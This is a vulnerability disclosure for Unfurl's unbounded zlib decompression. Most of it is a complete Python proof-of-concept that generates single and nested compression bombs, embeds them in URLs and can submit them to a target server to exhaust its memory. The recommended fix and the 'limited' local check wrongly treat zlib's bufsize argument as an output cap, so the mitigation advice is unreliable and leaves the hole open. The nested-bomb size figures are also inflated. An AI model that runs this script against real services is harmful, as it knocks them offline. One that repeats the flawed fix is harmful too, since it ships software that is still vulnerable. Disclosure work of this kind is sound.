Unfurl's unbounded zlib decompression allows decompression bomb DoS

Summary

The compressed data parser uses zlib.decompress() without a maximum output size. A small, highly compressed payload can expand to a very large output, causing memory exhaustion and denial of service.

Details

• unfurl/parsers/parse_compressed.py calls zlib.decompress(decoded) with no size limit.
• Inputs are accepted from URL components that match base64 patterns.
• Highly compressible payloads can expand orders of magnitude larger than their compressed size.

PoC

1. Generate a payload with security_poc/poc_decompression_bomb.py --generate-only.
2. The script creates a base64-encoded zlib payload embedded in a URL.
3. Submitting the URL to /json/visjs can cause the server to allocate large amounts of memory.
4. The script includes a --test mode but warns it can crash the service.

PoC Script

#!/usr/bin/env python3
"""
Unfurl Decompression Bomb Proof of Concept
==========================================

This PoC demonstrates a Denial of Service vulnerability in Unfurl's
compressed data parsing. The zlib.decompress() call has no size limits,
allowing an attacker to submit small payloads that expand to gigabytes.

Vulnerability Location:
- parse_compressed.py:81-82:
    inflated_bytes = zlib.decompress(decoded)  # No maxsize parameter

Attack Impact:
- Memory exhaustion
- Service crash
- Resource consumption (cloud cost attacks)

Usage:
    python poc_decompression_bomb.py [--target URL] [--size SIZE_MB]
"""

import argparse
import base64
import os
import zlib
import requests
import sys
import time


def create_compression_bomb(target_size_mb: int = 100) -> bytes:
    """
    Create a compression bomb - small compressed data that expands to target_size_mb.

    Compression ratio for zeros can be ~1000:1 or better.
    A 1KB compressed payload can expand to ~1MB.
    A 100KB payload can expand to ~100MB.
    """
    # Create highly compressible data (all zeros)
    target_bytes = target_size_mb * 1024 * 1024
    uncompressed = b'\x00' * target_bytes

    # Compress with maximum compression
    compressed = zlib.compress(uncompressed, 9)

    compression_ratio = len(uncompressed) / len(compressed)

    print(f"[*] Created compression bomb:")
    print(f"    Compressed size: {len(compressed):,} bytes ({len(compressed)/1024:.2f} KB)")
    print(f"    Uncompressed size: {len(uncompressed):,} bytes ({target_size_mb} MB)")
    print(f"    Compression ratio: {compression_ratio:.0f}:1")

    return compressed


def create_nested_bomb(levels: int = 3, base_size_mb: int = 10) -> bytes:
    """
    Create a nested compression bomb (zip bomb style).
    Each level multiplies the final size.

    Warning: This can create VERY large expansions.
    3 levels with 10MB base = 10^3 = 1GB
    4 levels with 10MB base = 10^4 = 10GB
    """
    print(f"[*] Creating nested bomb with {levels} levels, {base_size_mb}MB base")

    # Start with base payload
    data = b'\x00' * (base_size_mb * 1024 * 1024)

    for level in range(levels):
        data = zlib.compress(data, 9)
        print(f"    Level {level + 1}: {len(data):,} bytes")

    theoretical_size = base_size_mb * (1000 ** levels)  # Rough estimate
    print(f"[*] Theoretical expanded size: ~{theoretical_size} MB")

    return data


def create_recursive_quine_bomb() -> bytes:
    """
    Create a recursive decompression scenario.
    When decompressed, the output is valid zlib that can be decompressed again.

    This exploits any recursive decompression logic.
    """
    # This is a simplified version - real quine bombs are more complex
    # The concept: output when decompressed is also valid compressed data

    # Create a pattern that when decompressed resembles compressed data
    # This is primarily theoretical for this vulnerability
    base = b'x\x9c' + (b'\x00' * 1000)  # Fake zlib header + zeros
    return zlib.compress(base * 1000, 9)


def encode_for_unfurl(compressed: bytes) -> str:
    """
    Encode compressed data as base64 for URL inclusion.
    Unfurl's parse_compressed.py will:
    1. Detect base64 pattern
    2. Decode base64
    3. Attempt zlib.decompress() without size limit
    """
    return base64.b64encode(compressed).decode('ascii')


def create_malicious_url(payload: str) -> str:
    """
    Create a URL containing the bomb payload.
    Multiple injection points are possible.
    """
    # As a query parameter value
    return f"https://example.com/page?data={payload}"


def test_vulnerability(target_url: str, payload_url: str, timeout: float = 30.0) -> dict:
    """
    Submit bomb to Unfurl and monitor for DoS indicators.
    """
    api_url = f"{target_url}/json/visjs"
    params = {'url': payload_url}

    result = {
        'submitted': True,
        'timeout': False,
        'error': None,
        'response_time': 0,
        'memory_exhaustion_likely': False
    }

    try:
        start = time.time()
        response = requests.get(api_url, params=params, timeout=timeout)
        result['response_time'] = time.time() - start
        result['status_code'] = response.status_code

        # Check for error responses indicating resource issues
        if response.status_code == 500:
            result['error'] = 'Server error - possible memory exhaustion'
            result['memory_exhaustion_likely'] = True
        elif response.status_code == 503:
            result['error'] = 'Service unavailable - DoS successful'
            result['memory_exhaustion_likely'] = True

    except requests.exceptions.Timeout:
        result['timeout'] = True
        result['error'] = f'Request timed out after {timeout}s - possible DoS'
        result['memory_exhaustion_likely'] = True
    except requests.exceptions.ConnectionError as e:
        result['error'] = f'Connection error: {e} - server may have crashed'
        result['memory_exhaustion_likely'] = True
    except Exception as e:
        result['error'] = str(e)

    return result


def main():
    parser = argparse.ArgumentParser(description='Unfurl Decompression Bomb PoC')
    parser.add_argument('--target', default='http://localhost:5000',
                        help='Target Unfurl instance URL')
    parser.add_argument('--size', type=int, default=100,
                        help='Target decompressed size in MB')
    parser.add_argument('--nested', type=int, default=0,
                        help='Nesting levels for nested bomb (0 = simple bomb)')
    parser.add_argument('--test', action='store_true',
                        help='Actually send the bomb (DANGEROUS)')
    parser.add_argument('--generate-only', action='store_true',
                        help='Only generate payload, do not send')
    parser.add_argument('--output', help='Save payload to file')
    args = parser.parse_args()

    print(f"""
╔═══════════════════════════════════════════════════════════════╗
║           UNFURL DECOMPRESSION BOMB PROOF OF CONCEPT          ║
╠═══════════════════════════════════════════════════════════════╣
║  Target:        {args.target:<45} ║
║  Expanded Size: {args.size:<45} MB ║
║  Nested Levels: {args.nested:<45} ║
╚═══════════════════════════════════════════════════════════════╝
""")

    # Generate the bomb
    if args.nested > 0:
        print(f"\n[!] Creating NESTED bomb - theoretical size could be enormous!")
        print(f"    Be very careful with nested levels > 2")
        if args.nested > 3:
            print(f"[!] {args.nested} levels could produce terabytes of data!")
            confirm = input("    Continue? (yes/no): ")
            if confirm.lower() != 'yes':
                sys.exit(0)
        compressed = create_nested_bomb(args.nested, args.size // (10 ** args.nested) or 1)
    else:
        compressed = create_compression_bomb(args.size)

    # Encode for URL
    b64_payload = encode_for_unfurl(compressed)
    malicious_url = create_malicious_url(b64_payload)

    print(f"\n[*] Payload Statistics:")
    print(f"    Compressed size: {len(compressed):,} bytes")
    print(f"    Base64 size: {len(b64_payload):,} bytes")
    print(f"    URL length: {len(malicious_url):,} bytes")

    # Save payload if requested
    if args.output:
        with open(args.output, 'w') as f:
            f.write(malicious_url)
        print(f"\n[+] Payload saved to: {args.output}")

    # Display truncated payload
    print(f"\n[*] Malicious URL (truncated):")
    print(f"    {malicious_url[:100]}...")
    print(f"    (Full URL is {len(malicious_url):,} characters)")

    # Save full payload for reference
    script_dir = os.path.dirname(os.path.abspath(__file__))
    payload_path = os.path.join(script_dir, 'bomb_payload.txt')
    with open(payload_path, 'w') as f:
        f.write(malicious_url)
    print(f"\n[+] Full payload saved to: {payload_path}")

    # Verify the bomb works locally
    print(f"\n[*] Verifying bomb locally (limited test)...")
    try:
        # Only decompress a small portion to verify it's valid
        test_data = zlib.decompress(compressed, bufsize=1024*1024)  # 1MB max
        print(f"    ✅ Bomb is valid - decompresses to zeros")
    except Exception as e:
        print(f"    ❌ Error: {e}")
        sys.exit(1)

    if args.generate_only:
        print("\n[*] Generate-only mode. Not sending payload.")
        sys.exit(0)

    if not args.test:
        print(f"""
╔═══════════════════════════════════════════════════════════════╗
║                      SAFETY CHECK                             ║
╚═══════════════════════════════════════════════════════════════╝

To actually test this vulnerability, run with --test flag.

Manual testing:
1. Copy the payload URL from {payload_path}
2. Submit it to the target Unfurl instance
3. Monitor server memory usage

Expected behavior if vulnerable:
- Server memory usage spikes dramatically
- Request hangs or times out
- Server may crash or become unresponsive

Mitigation check:
The vulnerability is FIXED if zlib.decompress() is called with
a max_length parameter, e.g.:
    zlib.decompress(data, bufsize=10*1024*1024)  # 10MB limit
""")
        sys.exit(0)

    # Actually test (dangerous!)
    print(f"\n[!] SENDING BOMB TO {args.target}")
    print(f"[!] This may crash the target service!")
    confirm = input("    Type 'CONFIRM' to proceed: ")

    if confirm != 'CONFIRM':
        print("    Aborted.")
        sys.exit(0)

    print(f"\n[*] Submitting payload...")
    result = test_vulnerability(args.target, malicious_url, timeout=60.0)

    print(f"\n[*] Results:")
    print(f"    Timeout: {result['timeout']}")
    print(f"    Response time: {result['response_time']:.2f}s")
    print(f"    Error: {result['error']}")
    print(f"    Memory exhaustion likely: {result['memory_exhaustion_likely']}")

    if result['memory_exhaustion_likely']:
        print(f"""
╔═══════════════════════════════════════════════════════════════╗
║                  VULNERABILITY CONFIRMED                      ║
╚═══════════════════════════════════════════════════════════════╝

The target appears vulnerable to decompression bomb attacks.

Evidence:
- {result['error'] or 'Abnormal response observed'}

Recommendation:
Add size limits to zlib.decompress() calls:

    # Before (vulnerable):
    inflated_bytes = zlib.decompress(decoded)

    # After (fixed):
    MAX_DECOMPRESSED_SIZE = 10 * 1024 * 1024  # 10MB
    inflated_bytes = zlib.decompress(decoded, bufsize=MAX_DECOMPRESSED_SIZE)

Or use streaming decompression with size checks:

    decompressor = zlib.decompressobj()
    chunks = []
    total_size = 0
    for chunk in iter(lambda: compressed_data.read(4096), b''):
        decompressed = decompressor.decompress(chunk)
        total_size += len(decompressed)
        if total_size > MAX_SIZE:
            raise ValueError("Decompressed data too large")
        chunks.append(decompressed)
""")
    else:
        print("\n[*] Target may not be vulnerable or attack was mitigated.")


if __name__ == '__main__':
    main()